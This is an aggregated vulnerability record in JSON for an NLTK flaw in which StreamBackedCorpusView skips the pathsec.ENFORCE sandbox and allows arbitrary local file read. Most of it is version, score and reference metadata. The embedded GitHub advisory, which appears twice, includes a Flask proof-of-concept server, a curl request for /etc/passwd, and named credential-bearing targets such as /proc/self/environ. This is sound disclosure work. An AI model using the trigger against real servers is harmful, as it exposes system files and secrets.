{"id":"CVE-2026-63312","aliases":["DEBIAN-CVE-2026-63312","EUVD-2026-64333","GHSA-8w48-h75v-cxpv","GHSA-x5ph-mj9p-rfr8","MGASA-2026-0340","PYSEC-2026-3730","UBUNTU-CVE-2026-63312"],"status":"published","title":"NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00651,"percentile":0.51724,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-08-22T14:12:40Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.10.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.9.4"},{"fixed":"3.10.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0-1"}]}],"versions":["3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1.mga10"}]}],"bundled":18},{"source":"osv","ecosystem":"Mageia:9","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3-1.mga9"}]}],"bundled":18},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5","2.0~b9-0ubuntu4.1~esm6"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3","3.1-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3","3.2.5-1ubuntu0.1+esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3","3.4.5-2ubuntu0.1~esm4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1","3.7-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1","3.8.1-1ubuntu0.1~esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.2-1","3.9.3-1","3.10.0-1","3.10.1-1","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1","3.9.2-1ubuntu0.1~esm2"]}],"products":[{"vendor":"nltk","product":"nltk"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read","tags":["third-party-advisory","Third Party Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63312","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-8w48-h75v-cxpv"},{"url":"https://github.com/nltk/nltk/pull/3588","tags":["web"]},{"url":"https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.0","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-x5ph-mj9p-rfr8"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63312.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-63312","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0340.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=36186","tags":["report"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.0","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.2","tags":["web"]},{"url":"https://github.com/nltk/nltk/releases#release-v3.10.3","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-63312","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-63312","tags":["report"]},{"url":"https://github.com/nltk/nltk/security/advisories/ghsa-x5ph-mj9p-rfr8","tags":["report"]},{"url":"https://security-tracker.debian.org/tracker/cve-2026-63312","tags":["report"]},{"url":"https://github.com/cveproject/cvelistv5/tree/main/cves/2026/63xxx/cve-2026-63312.json","tags":["report"]},{"url":"https://nvd.nist.gov/vuln/detail/cve-2026-63312","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-63312","title":"NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T14:12:40.731Z","modified":"2026-08-24T18:34:55.32Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:19:56.284359Z"}],"euvd":[{"id":"EUVD-2026-64333","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T14:12:40Z","modified":"2026-08-24T18:34:55Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:34.230875Z"}],"ghsa":[{"id":"GHSA-8w48-h75v-cxpv","title":"Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"withdrawn","published":"2026-08-22T15:31:03Z","modified":"2026-09-02T14:48:22Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:41:10.121131Z"},{"id":"GHSA-x5ph-mj9p-rfr8","title":"NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n    validate_path(file, context=\"pathsec.open\")\n    return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n    fname = request.json.get(\"file\")\n    # fileid is user-controlled, passed directly to StreamBackedCorpusView\n    # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n    view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n    return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.","status":"published","published":"2026-09-08T15:27:32Z","modified":"2026-09-08T15:27:36Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"nvd":[{"id":"CVE-2026-63312","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T15:16:19.367Z","modified":"2026-10-14T13:10:00.187Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:40.665005Z"}],"osv":[{"id":"CVE-2026-63312","title":"NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T14:12:40.731Z","modified":"2026-10-28T02:30:38.048529174Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"DEBIAN-CVE-2026-63312","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T15:16:19.367Z","modified":"2026-10-15T09:47:40.298379412Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:57.932517Z"},{"id":"GHSA-8w48-h75v-cxpv","title":"Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"withdrawn","published":"2026-08-22T15:31:03Z","modified":"2026-09-02T15:00:09.001250722Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:42.78452Z"},{"id":"GHSA-x5ph-mj9p-rfr8","title":"NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n    validate_path(file, context=\"pathsec.open\")\n    return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n    fname = request.json.get(\"file\")\n    # fileid is user-controlled, passed directly to StreamBackedCorpusView\n    # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n    view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n    return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.","status":"published","published":"2026-09-08T15:27:32Z","modified":"2026-09-08T15:46:56.600781081Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:59.484835Z"},{"id":"PYSEC-2026-3730","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T15:16:19.367Z","modified":"2026-09-01T09:15:04.067757501Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-63312","description":"NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","status":"published","published":"2026-08-22T15:16:00Z","modified":"2026-10-17T13:00:31.854387901Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:43.630667Z"},{"id":"MGASA-2026-0340","title":"Updated python-nltk packages fix security vulnerabilities","description":"Updated packages fix security vulnerabilities. Please see the links.\n","status":"published","published":"2026-08-29T15:47:31Z","modified":"2026-08-29T16:00:02.787972151Z","updated_at":"2026-11-02T15:49:43.795591Z"}]}}